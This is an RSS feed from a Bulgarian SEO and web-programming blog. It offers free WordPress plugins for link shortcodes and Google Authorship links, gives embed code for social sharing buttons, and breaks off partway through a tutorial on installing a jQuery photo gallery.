<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SEO блог и уеб програмиране &#187; плъгин</title>
	<atom:link href="http://ganbox.com/blog/tag/%d0%bf%d0%bb%d1%8a%d0%b3%d0%b8%d0%bd/feed/" rel="self" type="application/rss+xml" />
	<link>http://ganbox.com/blog</link>
	<description>SEO практика: трикове при оптимизация и решаване на проблеми при уеб програмиране.</description>
	<lastBuildDate>Sun, 20 May 2012 19:28:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>WordPress плъгин за създаване на линкове</title>
		<link>http://ganbox.com/blog/wordpress-shortcodes/</link>
		<comments>http://ganbox.com/blog/wordpress-shortcodes/#comments</comments>
		<pubDate>Wed, 16 May 2012 09:11:25 +0000</pubDate>
		<dc:creator>Георги Стефанов</dc:creator>
				<category><![CDATA[Уеб програмиране]]></category>
		<category><![CDATA[shotcode]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[WordPress плъгин]]></category>
		<category><![CDATA[плъгин]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=1668</guid>
		<description><![CDATA[Ganbox Shortcodes плъгин Shotcode са маркери на текст от вида [code] и [/code], които се поставят в текста на публикациите или статичните страници на WordPress и променят по някакъв начин текста, който е между тях. Сайтът за оптимизация на сайтове ganbox.com представя безплатен плъгин за WordPress, който добавя няколко shortcode кода, с които лесно се правят изходящи [...]]]></description>
			<content:encoded><![CDATA[<h2>Ganbox Shortcodes плъгин</h2>
<p>Shotcode са маркери на текст от вида [code] и [/code], които се поставят в текста на публикациите или статичните страници на WordPress и променят по някакъв начин текста, който е между тях.</p>
<p>Сайтът за <a href="http://ganbox.com">оптимизация на сайтове</a> ganbox.com представя безплатен плъгин за WordPress, който добавя няколко shortcode кода, с които лесно се правят изходящи линкове към Google, Wikipedia и тълковен речник. По този начин в публикациите не са нужни дълги обяснения на даден сложен термин.</p>
<p>След като си качил плъгина ще имаш следните кодове (shortcodes):<br />
<strong>[google]</strong> &#8211; прави линк към Google търсене на думата или фразата, която е заградена с [google] и [/google].<br />
<strong><span style="color: #008000;">[g]</span></strong> &#8211; съкратено изписване на горното (има същото поведение).<br />
<strong>[wiki]</strong> &#8211; прави заградената дума или фраза линк към bg.wikipedia.org.</p>
<div>Например ако напишеш [wiki]флуид[/wiki] ще стане линк към</div>
<p><a href="http://bg.wikipedia.org/wiki/%D0%A4%D0%BB%D1%83%D0%B8%D0%B4" target="_blank">http://bg.wikipedia.org/wiki/%<wbr>D0%A4%D0%BB%D1%83%D0%B8%D0%B4</wbr></a></p>
<div>По същия начин кода<strong> <span style="color: #008000;">[w]</span></strong> е съкратено изписване на [wiki].</div>
<p><strong>[rechnik] </strong>прави думи или фрази линк към <a href="http://rechnik.info/" target="_blank">rechnik.info</a></p>
<div>Например [rechnik]кибуц[/rechnik] ще стане линк към страница тълкуванието на думата кибуц:</div>
<p><a href="http://rechnik.info/%D0%BA%D0%B8%D0%B1%D1%83%D1%86" target="_blank">http://rechnik.info/%D0%BA%D0%<wbr>B8%D0%B1%D1%83%D1%86</wbr></a></p>
<div>По същия начин кода<strong> <span style="color: #008000;">[r]</span></strong> е съкращение за [rechnik].</div>
<p>Кода [r] работи и с думи на английски, като в този случай става линк към страница с превода на думата от английски на български.<br />
Пример [r]stop[/r] дава превода на думата stop.</p>
<p>Всички линкове се отварят в нов прозорец/таб на браузъра.</p>
<p>Линковете получават CSS клас ganbox-link, с цел да може при нужда да им се сложи лесно някакъв CSS стил.</p>
<p>Ако имаш идеи за други полезни shortcodes, които да добавим към плъгина или проблеми с използването на този плъгин, пиши коментари.</p>
<h2>Инсталиране на Ganbox Shortcodes</h2>
<p>Инсталирането е стандартно. Изтегли zip файла  <a href="http://ganbox.com/blog/wp-content/pub/ganbox-shortcodes.zip">ganbox-shortcodes</a>  на твоя компютър.</p>
<p>След това от админ панела на WordPress избери Разширения / Добавяне на още / Качване.</p>
<p>Избери zip файла и натисни [Инсталиране].</p>
<p>Включи разширението и ще се покаже в списъка като Ganbox Shorcodes. Плъгинът е съвместим с всички версии на WordPress и е тестван.</p>
<p>&nbsp;</p>
<h2>Деинсталиране на Ganbox Shortcodes</h2>
<p>Може да се изключи или изтрие плъгина от админ панела. Всички публикации, които са ползвали shortcode ще покажат кодовете в текста.</p>
<p>Ако случайно нещо се обърка и плъгина не може да бъде спрян през админ панела, е достатъчно да изтриеш папката  /wp-content/plugins/ganbox-shortcodes от сървъра и няма да остане следа от плъгина.</p>
<p>Инсталирай и пробвай този плъгин, ако го намираш полезен <strong>ще ти бъдем благодарни, ако поставиш някъде в твоя сайт линк към нашия сайт ganbox.com</strong>.</p>
<p>&nbsp;</p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>81</b></div>

<p>Подобни статии:<ol><li><a href='http://ganbox.com/blog/%d0%bf%d0%bb%d1%8a%d0%b3%d0%b8%d0%bd-%d0%b7%d0%b0-%d1%81%d0%be%d1%86%d0%b8%d0%b0%d0%bb%d0%bd%d0%b8-%d0%bc%d1%80%d0%b5%d0%b6%d0%b8/' rel='bookmark' title='Permanent Link: WordPress плъгин за социални мрежи'>WordPress плъгин за социални мрежи</a> <small>Това е един плъгин за WordPress, който автоматично добавя след...</small></li>
<li><a href='http://ganbox.com/blog/wordpress-%d0%bf%d0%bb%d1%8a%d0%b3%d0%b8%d0%bd-%d0%b7%d0%b0-%d0%b1%d1%83%d1%82%d0%be%d0%bd%d0%b8-%d0%b7%d0%b0-%d1%81%d0%be%d1%86%d0%b8%d0%b0%d0%bb%d0%bd%d0%b8-%d0%bc%d1%80%d0%b5%d0%b6%d0%b8/' rel='bookmark' title='Permanent Link: WordPress плъгин за бутони за социални мрежи'>WordPress плъгин за бутони за социални мрежи</a> <small>Нова версия на WordPress плъгина Ganbox Sociable за споделяне на...</small></li>
<li><a href='http://ganbox.com/blog/sb3/' rel='bookmark' title='Permanent Link: Бутончета за споделяне на линкове v.3'>Бутончета за споделяне на линкове v.3</a> <small>Тази статия е продължение на статиите Безплатен скрипт за бутони...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/wordpress-shortcodes/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Удостоверяване на авторство пред Google</title>
		<link>http://ganbox.com/blog/%d1%83%d0%b4%d0%be%d1%81%d1%82%d0%be%d0%b2%d0%b5%d1%80%d1%8f%d0%b2%d0%b0%d0%bd%d0%b5-%d0%b0%d0%b2%d1%82%d0%be%d1%80%d1%81%d1%82%d0%b2%d0%be-%d0%bf%d1%80%d0%b5%d0%b4-google/</link>
		<comments>http://ganbox.com/blog/%d1%83%d0%b4%d0%be%d1%81%d1%82%d0%be%d0%b2%d0%b5%d1%80%d1%8f%d0%b2%d0%b0%d0%bd%d0%b5-%d0%b0%d0%b2%d1%82%d0%be%d1%80%d1%81%d1%82%d0%b2%d0%be-%d0%bf%d1%80%d0%b5%d0%b4-google/#comments</comments>
		<pubDate>Tue, 23 Aug 2011 06:58:41 +0000</pubDate>
		<dc:creator>Георги Стефанов</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Софтуер]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Google Authorship]]></category>
		<category><![CDATA[WordPress плъгин]]></category>
		<category><![CDATA[автор]]></category>
		<category><![CDATA[авторски линк]]></category>
		<category><![CDATA[линк към автор]]></category>
		<category><![CDATA[плъгин]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=1374</guid>
		<description><![CDATA[Какво е Google Authorship? Наскоро Google обявиха метод, с който авторите на публикации ще могат да удостоверят пред Google търсачката, че те са автори на публикувания материал, като в края на публикацията поставят специален линк, към свой профил в Google+. Към момента е в тестов период и работи за ограничен брой акаунти на известни американски [...]]]></description>
			<content:encoded><![CDATA[<h2>Какво е Google Authorship?</h2>
<p>Наскоро Google обявиха метод, с който авторите на публикации ще могат да удостоверят пред Google търсачката, че те са автори на публикувания материал, като в края на публикацията поставят специален линк, към свой профил в Google+. Към момента е в тестов период и работи за ограничен брой акаунти на известни американски блогъри, но скоро ще навлезе и в България.</p>
<p><a href="http://statii.net">Авторските статии</a> имат няколко предимства:</p>
<p>1. Когато Google търсачката индексира публикация, която  има авторски линк, тя запаметява автора и от този момент всеки опит на друг сайт да копира публикацията ще бъде само в негова вреда. Това е чудесна новина за блогъри и журналисти, които пишат авторски уникални текстове и искат да ги защитят от кражба, чрез копиране.</p>
<p>2. След време, когато човек потърси в Google по дума, която се съдържа в публикацията и тя излезе в резултатите от търсене, в дясната страна на резултата ще започне да се показва снимка на автора. Това отначало ще сработи само за автори, които пишат качествени уникални статии в авторитетни сайтове. Резултатите от търсене ще изглеждат така:</p>
<p><a href="http://ganbox.com/blog/wp-content/pub/authors.jpg"><img class="alignleft size-medium wp-image-1375" title="authors" src="http://ganbox.com/blog/wp-content/pub/authors-300x259.jpg" alt="" width="300" height="259" /></a>Както се вижда от примера в резултатите от търсене ще се показват снимки на автори, които се вземат от профилите им в Google+. За едно търсене може да излязат по няколко резултата, които съдържат снимки на автори. Самото подреждане на резултатите няма да има отношение към авторството (или поне от Google ще твърдят така). Но това дава доста по-добра видимост на резултатите &#8211; привлича вниманието на търсещия и вероятността страницата да бъде посетена нараства, защото хората все повече ще търсят качествено авторско съдържание. По този начин ще има индиректен <a href="http://ganbox.com/seo">SEO</a> ефект за тези страници, защото повишения трафик ще помага на оптимизацията на сайта.</p>
<p>.</p>
<p>.</p>
<p>&nbsp;</p>
<h2>Как се ползва Google Authorship markup?</h2>
<p>1. Създай си <a href="https://plus.google.com">Google+</a> профил и в настройките го направи публичен. Профилът трябва да има валидни име и фамилия. Например <strong>Георги Стефанов</strong>.</p>
<p>2. В Google+ профила сложи линк към сайта, в който пишеш авторски статии. Влез в https://plus.google.com/me и натисни вдясно синия бутон [Редактиране на потребителския профил]. В дясно блок &#8222;Връзки&#8220;. Линка &#8222;Добавяне на персонализирана връзка&#8220;. В първото поле името на сайта, в който пишеш статии, а във второто URL адреса. Бутон [Запазване] и след това горе бутона [Край на редактирането].</p>
<p>3. Под всяка статия слагай линк към твоя Google+ профил. Текста на линка (анкор) трябва да бъде името, така както е въведено в Google+, линка трябва да има атрибут rel=&#8220;author&#8220; и да сочи URL на Google+ профила (вижда се на адрес https://plus.google.com/me след логване). Например  <strong>&lt;a href=&#8220;https://plus.google.com/103876297592637477803&#8243; rel=&#8220;author&#8220;&gt;Георги Стефанов&lt;/a&gt;</strong></p>
<p>Това е всичко. <img src='http://ganbox.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2>Проверка на авторство</h2>
<p>След като изпълниш горните 3 стъпки може да провериш дали всичко с удостоверяването е наред, като посетиш адреса <a href="http://www.google.com/webmasters/tools/richsnippets">http://www.google.com/webmasters/tools/richsnippets</a> и в полето въведеш URL адреса на някоя от статиите, която е подписана с линк към твоя Google+ профил. Дори да няма грешки, това не дава гаранции, че скоро ще видиш своята снимка в резултатите на Google <img src='http://ganbox.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Единствено Google решава в кои резултати ще показва снимки. Това зависи най-много от авторитета на сайта (domain authority) и авторитета на конкретната страница, които се изграждат бавно и трудно. Ако твоя сайт съществува отдавна и имаш авторски статии, които предизвикват интерес и реакции в читателите &#8211; тогава имаш добри изгледи за успех и може от адрес <a href="https://spreadsheets.google.com/spreadsheet/viewform?formkey=dHdCLVRwcTlvOWFKQXhNbEgtbE10QVE6MQ&amp;ndplr=1">Authorship request</a> да изпратиш молба твоя сайт да бъде разгледан от Google дали отговаря на условията. Моето мнение е, че тази стъпка не е задължителна.</p>
<h2>Плъгин за WordPress за автоматично включване на линк към автор</h2>
<p>За всички блогъри ganbox.com предлага свободно и безплатно<span style="color: #993300;">*</span> следния плъгин за WordPress, който автоматично включва линк към автора в края на публикация.</p>
<p><a href="http://ganbox.com/blog/wp-content/pub/ganbox.com_author-link.zip">ganbox.com_author-link.zip</a></p>
<p>Разархивирай zip файла. Качи по FTP папката author-link в директория wp-content/plugins на сървъра. Активирай плъгина от админ панела на WordPress. Влез в твоя потребителски профил (Потребители / Моят профил ) и попълни полето &#8222;Интернет страница&#8220;, да съдържа URL на профила в Google+ и &#8222;Показване като&#8220; да съдържа име и фамилия точно така, както е въведено в Google+. Натисни [Запис на профила]. Вече след всяка публикация се показва поле с линк към автора.</p>
<p>Може да видиш пример на използване във всяка статия в сайта<a href="http://statii.net"> statii.net.</a> Линкът е dofollow само, ако сочи към Google профил. За всякакви въпроси по плъгина пиши коментари в тази тема.</p>
<p>Ако искаш автоматично поставяне на авторски линк в публикации в сайт различен от WordPress, може да се свържеш с нас от страница <a href="http://ganbox.com/about">Контакти</a>.</p>
<p><span style="color: #993300; font-size: 0.8em;">* Може да ползваш или променяш плъгина author-link за лични цели, без право да го продаваш! Не даваме гаранции за безпроблемна работа и не носим никаква отговорност за нанесени вреди или пропуснати ползи от използването на този плъгин! Тестван е на WordPress версия 3.2.1.</span></p>
<p><span style="color: #008000;">Ако този плъгин ти харесва може да направиш</span> <a href="http://ganbox.com/blog/donate">дарение за сайта ganbox.com</a>.</p>
<p>&nbsp;</p>
<h2>Допълнителни подробности за удостоверяване на авторство пред Google</h2>
<h3>Опция</h3>
<p>Google не задължават, но препоръчват да направиш в твоя Google+ профил публичен раздел &#8220;+1&#8243;. Влез в твоя Google+ профил, в https://plus.google.com/me и натисни вдясно синия бутон [Редактиране на потребителския профил]. След това раздел +1 и избери отметката &#8222;Показване на този раздел в потребителския ви профил&#8220;. Бутон [Запазване] и горе [Край на редактирането]. След това натисни поне един [+1] бутон, например в страницата http://ganbox.com &#8211; линка трябва да се появи в раздел +1 на Google+ профила ти.</p>
<h3>Още по-лесно</h3>
<p>Когато потърсих статия на български по темата попаднах на статията <a title="Google + и SEO за автори, журналисти и блогъри" href="http://ivosiliev.com/seo/date:2011-07-21/google-%d0%b8-seo-%d0%b7%d0%b0-%d0%b0%d0%b2%d1%82%d0%be%d1%80%d0%b8-%d0%b6%d1%83%d1%80%d0%bd%d0%b0%d0%bb%d0%b8%d1%81%d1%82%d0%b8-%d0%b8-%d0%b1%d0%bb%d0%be%d0%b3%d1%8a%d1%80%d0%b8_1424.html" rel="bookmark" target="_blank">Google + и SEO за автори, журналисти и блогъри</a> на Иво Илиев. Тогава си казах &#8222;не може да бъде толкова сложно&#8220;, но по времето на писане на статията на Иво, наистина това беше начина. След като Google получиха отзиви, разбраха, че се налага да опростят начина за удостоверяване. Затова преди няколко дена излезе нов видео урок, където схемата е максимално опростена  <a href="http://www.youtube.com/watch?v=gG3Oh7Ues8A">Authorship markup using URL parameters</a>. Както се вижда във видеото, ако не може да добавиш атрибут rel линка може да има следния вид:  <strong>&lt;a href=&#8220;https://plus.google.com/103876297592637477803?rel=author&#8220;&gt;+Георги Стефанов&lt;/a&gt;</strong></p>
<h3>Няколко автора или няколко сайта</h3>
<p>Ако в един сайт пишат няколко автора, например в директория за статии, всеки от тях трябва да създаде Google+ профил и да въведе в профила си линк към него.</p>
<p>Ако един автор пише в повече от един сайт, ще трябва да въведе в Google+ профила си линк към всеки от сайтовете.</p>
<p>За въпроси, пиши коментари в тази тема.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2></h2>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>1785</b></div>

<p>Подобни статии:<ol><li><a href='http://ganbox.com/blog/%d1%84%d0%b8%d1%80%d0%bc%d0%b5%d0%bd%d0%b8-%d1%81%d1%82%d1%80%d0%b0%d0%bd%d0%b8%d1%86%d0%b8-%d0%b2-google/' rel='bookmark' title='Permanent Link: Фирмени страници в Google+'>Фирмени страници в Google+</a> <small> Създаване на Google+ бизнес страница Освен личен профил в социалната...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d1%83%d0%b4%d0%be%d1%81%d1%82%d0%be%d0%b2%d0%b5%d1%80%d1%8f%d0%b2%d0%b0%d0%bd%d0%b5-%d0%b0%d0%b2%d1%82%d0%be%d1%80%d1%81%d1%82%d0%b2%d0%be-%d0%bf%d1%80%d0%b5%d0%b4-google/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Бутончета за споделяне на линкове v.3</title>
		<link>http://ganbox.com/blog/sb3/</link>
		<comments>http://ganbox.com/blog/sb3/#comments</comments>
		<pubDate>Sun, 04 Apr 2010 22:13:01 +0000</pubDate>
		<dc:creator>Георги Стефанов</dc:creator>
				<category><![CDATA[SEO инструменти]]></category>
		<category><![CDATA[Софтуер]]></category>
		<category><![CDATA[безплатен]]></category>
		<category><![CDATA[бутони]]></category>
		<category><![CDATA[връзки]]></category>
		<category><![CDATA[линкове]]></category>
		<category><![CDATA[плъгин]]></category>
		<category><![CDATA[скрипт]]></category>
		<category><![CDATA[споделяне]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=836</guid>
		<description><![CDATA[Тази статия е продължение на статиите Безплатен скрипт за бутони към социални мрежи и  Бутони за социални мрежи v.2 в които се представя безплатен JavaScript за създаване на бутончета за споделяне на линкове. Също така и продължение на статията WordPress плъгин за социални мрежи която представя безплатен WordPress плъгин базиран на плъгина Sociable, но специално [...]]]></description>
			<content:encoded><![CDATA[<p>Тази статия е продължение на статиите <a href="/blog/sb/" target="_blank">Безплатен скрипт за бутони към социални мрежи</a> и  <a href="/blog/sb2/" target="_blank">Бутони за социални мрежи v.2 </a>в които се представя безплатен JavaScript за създаване на бутончета за споделяне на линкове. Също така и продължение на статията <a href="/blog/плъгин-за-социални-мрежи/" target="_blank">WordPress плъгин за социални мрежи </a>която представя безплатен WordPress плъгин базиран на плъгина Sociable, но специално преработен за български сайтове, които дават реален линк и са максимално <a href="/seo" target="_blank">SEO</a> ефективни.</p>
<p>И двата скрипта генерират аналогични бутони, които са най-адекватни към момента.</p>
<p>В новата трета версия са добавени бутони за Google Buzz, cenbg.com и uhaaa.net.</p>
<h3>JavaScript плъгин за споделяне на линкове</h3>
<h4>Енкодинг UTF-8</h4>
<p>Постави в  твоя сайт HTML кода:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;!--</span> Start ganbox.<span style="color: #660066;">com</span> code v.3 <span style="color: #339933;">--&gt;&lt;</span>script src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;http://ganbox.com/inc/sb3.js&quot;</span> type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script<span style="color: #339933;">&gt;&lt;!--</span> End ganbox.<span style="color: #660066;">com</span> code <span style="color: #339933;">--&gt;</span></div></div>
<h4>Енкодинг CP1251</h4>
<p>Ако твоя сайт е с кодиране на текста cp1251, тогава използвай следната версия на скрипта:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp;<span style="color: #339933;">&lt;!--</span> Start ganbox.<span style="color: #660066;">com</span> Social Bookmark code v.3 <span style="color: #339933;">--&gt;&lt;</span>script src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;http://ganbox.com/inc/sb3cp1251.js&quot;</span> type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script<span style="color: #339933;">&gt;&lt;!--</span> End ganbox.<span style="color: #660066;">com</span> code <span style="color: #339933;">--&gt;</span></div></div>
<p>Работещ пример има в сайта <a href="http://rechnik.info/" target="_blank">Речник на думите в българския език</a></p>
<h3>WordPress плъгин за бутони за социални мрежи</h3>
<p>Новата версия може да изтеглиш от връзката <a href="http://ganbox.com/blog/wp-content/pub/ganbox.com_sociable.zip">ganbox.com_sociable</a></p>
<p>Работеща версия има в този блог и бутоните се виждат в края на статията.</p>
<p>1. Ако вече ползваш стара версия на Sociable, за да инсталираш тази версия първо изключи стария плъгин.</p>
<p>2. Изтрий папката на старата версия от директория /wp-content/plugins на твоя сървър.</p>
<p>3. Разархивирай zip файла и качи папката sociable в /wp-content/plugins</p>
<p>4. Включи плъгина от списъка с Разширения в админ панела.</p>
<p>5. Влез в Настройки / Sociable и натисни бутона [Стандартни настройки подходящи за български сайтове].</p>
<p>Ако досега никога не си ползвал Sociable, за да го направиш изпълни само т.3 и т.4. Използването на този плъгин може да ти донесе линкове към вътрешни страници на твоя сайт и ще има добър SEO ефект.</p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>4393</b></div>

<p>Подобни статии:<ol><li><a href='http://ganbox.com/blog/sb4/' rel='bookmark' title='Permanent Link: Бутончета за споделяне на линкове v.4'>Бутончета за споделяне на линкове v.4</a> <small>Ето и новата 4-та версия на JavaScript-а за социални бутони....</small></li>
<li><a href='http://ganbox.com/blog/sb/' rel='bookmark' title='Permanent Link: Безплатен скрипт за бутони към социални мрежи'>Безплатен скрипт за бутони към социални мрежи</a> <small>Това е един безплатен JavaScript за създаване на бутони в...</small></li>
<li><a href='http://ganbox.com/blog/%d0%bf%d0%bb%d1%8a%d0%b3%d0%b8%d0%bd-%d0%b7%d0%b0-%d1%81%d0%be%d1%86%d0%b8%d0%b0%d0%bb%d0%bd%d0%b8-%d0%bc%d1%80%d0%b5%d0%b6%d0%b8/' rel='bookmark' title='Permanent Link: WordPress плъгин за социални мрежи'>WordPress плъгин за социални мрежи</a> <small>Това е един плъгин за WordPress, който автоматично добавя след...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/sb3/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>jQuery галерия за бързо преглеждане на снимки</title>
		<link>http://ganbox.com/blog/jquery-%d0%b3%d0%b0%d0%bb%d0%b5%d1%80%d0%b8%d1%8f-%d0%b7%d0%b0-%d0%b1%d1%8a%d1%80%d0%b7%d0%be-%d0%bf%d1%80%d0%b5%d0%b3%d0%bb%d0%b5%d0%b6%d0%b4%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%81%d0%bd%d0%b8%d0%bc/</link>
		<comments>http://ganbox.com/blog/jquery-%d0%b3%d0%b0%d0%bb%d0%b5%d1%80%d0%b8%d1%8f-%d0%b7%d0%b0-%d0%b1%d1%8a%d1%80%d0%b7%d0%be-%d0%bf%d1%80%d0%b5%d0%b3%d0%bb%d0%b5%d0%b6%d0%b4%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%81%d0%bd%d0%b8%d0%bc/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 11:48:12 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Софтуер]]></category>
		<category><![CDATA[Уеб програмиране]]></category>
		<category><![CDATA[gallery]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[slideshow]]></category>
		<category><![CDATA[thumbnail]]></category>
		<category><![CDATA[галерия]]></category>
		<category><![CDATA[плъгин]]></category>
		<category><![CDATA[снимки]]></category>
		<category><![CDATA[съвети]]></category>
		<category><![CDATA[уроци]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=294</guid>
		<description><![CDATA[Представям ти един jQuery плъгин, който създава уеб интерфейс за преглеждане на снимки качени на твоя сайт. Възможностите на плъгина галерия са наистина впечатляващи. 1. След зареждане на страницата освен първата снимка, която гледаш в момента, започват предварително да се зареждат следващите снимки и при натискане на връзката &#8222;Следваща снимка&#8220;, снимката която следва се зарежда [...]]]></description>
			<content:encoded><![CDATA[<p>Представям ти един jQuery плъгин, който създава уеб интерфейс за преглеждане на снимки качени на твоя сайт.</p>
<h3>Възможностите на плъгина галерия са наистина впечатляващи.</h3>
<p>1. След зареждане на страницата освен първата снимка, която гледаш в момента, започват предварително да се зареждат следващите снимки и при натискане на връзката &#8222;Следваща снимка&#8220;, снимката която следва се зарежда моментално;</p>
<p>2.  Навигацията между снимките се представя с умалени изображения на снимките (thumbnails) и може лесно да прескачаш от една снимка на друга с натискане на мишката. Малките снимки се разделят на страници, когато са много.</p>
<p>3. Всяка снимка има отделна котва, като това ти дава възможност да направиш отметка (bookmark) на отделна снимка;</p>
<p>4. Автоматично преглеждане на снимките (slideshow). През няколко секунди снимките се сменят.</p>
<p>5. Под всяка снимка може да се слага описателен текст;</p>
<p>6. Гъвкава конфигурация на настройките. Може да задаваш през колко секунди да се сменят снимките, колко снимки да се зареждат предваритело и др.</p>
<p>7. Управление на изгледа с CSS файл;</p>
<p>8. При забранен JavaScript в браузъра снимките се показват като списък &#8211; връзките към снимките и описанията им са в обикновен &lt;li&gt;   таг. По този начин търсачките имат достъп до всяка снимка и индексират лесно страницата.</p>
<p>9. За по-напредналите има възможност да се дописват JavaScript функции, които създават интересни ефекти при превключване от една снимка към друга.</p>
<p>10. Възможност за повече от една галерия в една и съща страница.</p>
<p>11. Галерията има валиден XHTML код по стандартите на W3C.</p>
<p>Галерията е много бърза, а точки 5, 8  и 11 правят галерията чудесен избор за един SEO оптимизиран сайт.</p>
<p>Работещ пример има в страница <a href="http://arthuradams.bg/gallery.php">снимки от фирмени обучения от Arthur Adams</a>.</p>
<h3>Как се инсталира галерията?</h3>
<p>Плъгинът работи с jQuery версия 1.2.6 или по-нова. Ако вече имаш jquery в твоя сайт провери коя версия е и ако е по-стара от 1.2.6 ще трябва да я подмениш. Ако имаш по-нова версия, която ползваш за нещо друго, тогава не е нужно да я променяш. В момента последната версия е 1.3.2, но аз ти <strong>препоръчвам да ползваш възможно по-стара версия на jQuery</strong>. Причината е бързодействието на сайта. Не ти трябват излишни 20-30K във всяка страница. Също така ползвай съкратената версия, тази която има в името си min. Това е същия файл, но без излишни интервали в него. Получения js файл се чете много трудно, но се зарежда значително по-бързо.</p>
<p><strong>1. Изтегли файловете. </strong></p>
<p><a href="http://arthuradams.bg/jscripts/jquery-1.2.6.min.js">http://arthuradams.bg/jscripts/jquery-1.2.6.min.js</a> или директно от официалния сайт на jQuery http://jqueryjs.googlecode.com/files/jquery-1.2.6.min.js</p>
<p>и файла с плъгина от тук <a href="http://arthuradams.bg/jscripts/jquery.galleriffic.min.js">http://arthuradams.bg/jscripts/jquery.galleriffic.min.js</a> и ги постави в директория /js,  която трябва да е в главната уеб директория (ако нямаш такава директория на сървъра първо я създай).</p>
<p>Изтегли още файловете <a href="http://arthuradams.bg/css/galleriffic.css">http://arthuradams.bg/css/galleriffic.css</a> и <a href="http://arthuradams.bg/css/loader.gif">http://arthuradams.bg/css/loader.gif</a> и ги постави в директория /css в главната ти уеб директория.</p>
<p>За удобство всичките файлове съм ги включил в този архив <a href="http://ganbox.com/blog/wp-content/pub/ganbox.com_gallery.zip">ganbox.com_gallery</a>.</p>
<p><strong>2. Създай страницата на галерията.</strong></p>
<p>Например gallery.html и между таговете &lt;head&gt; постави обръщение към JavaScript-овете и към CSS файла.</p>
<blockquote>
<pre>&lt;head&gt;
...
&lt;script type="text/javascript" src="/js/jquery-1.2.6.min.js"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="/js/jquery.galleriffic.min.js"&gt;&lt;/script&gt;
&lt;<span>link</span><span> rel</span>=<span>"stylesheet" </span><span>href</span>=<span>"/css/galleriffic.css" </span><span>type</span>=<span>"text/css" </span><span><span>/</span></span>&gt;
...
&lt;/head&gt;</pre>
</blockquote>
<p><strong>3. Създай div контейнерите на галерията.</strong></p>
<blockquote>
<pre><span><span><span>&lt;</span>div<span><span> </span>id<span><span>="</span>controls<span>"</span></span></span><span>&gt;</span></span><span><span>&lt;</span>/div<span>&gt;</span></span>
<span><span>&lt;</span>div<span><span> </span>id<span><span>="</span>loading<span>"</span></span></span><span>&gt;</span></span><span><span>&lt;</span>/div<span>&gt;</span></span>
<span><span>&lt;</span>div<span><span> </span>id<span><span>="</span>slideshow<span>"</span></span></span><span>&gt;</span></span><span><span>&lt;</span>/div<span>&gt;</span></span>
<span><span>&lt;</span>div<span><span> </span>id<span><span>="</span>caption<span>"</span></span></span><span>&gt;</span></span><span><span>&lt;</span>/div<span>&gt;</span></span>
<span><span>&lt;</span>div<span><span> </span>id<span><span>="</span>thumbs<span>"</span></span></span><span>&gt;</span></span>
    ... списък с тагове &lt;li&gt; които описват снимките даден е по-долу ...
<span><span>&lt;</span>/div<span>&gt;

</span></span></span></pre>
</blockquote>
<p><span><span><span>Всеки от тези div е незадължителен. Може да премахнеш например реда с div </span></span></span><span><span><span><span>caption и така под снимките няма да има описания.</span></span></span></span></p>
<p><span><span><span><span><strong>4. Добави списък със снимки</strong>.</span></span></span></span></p>
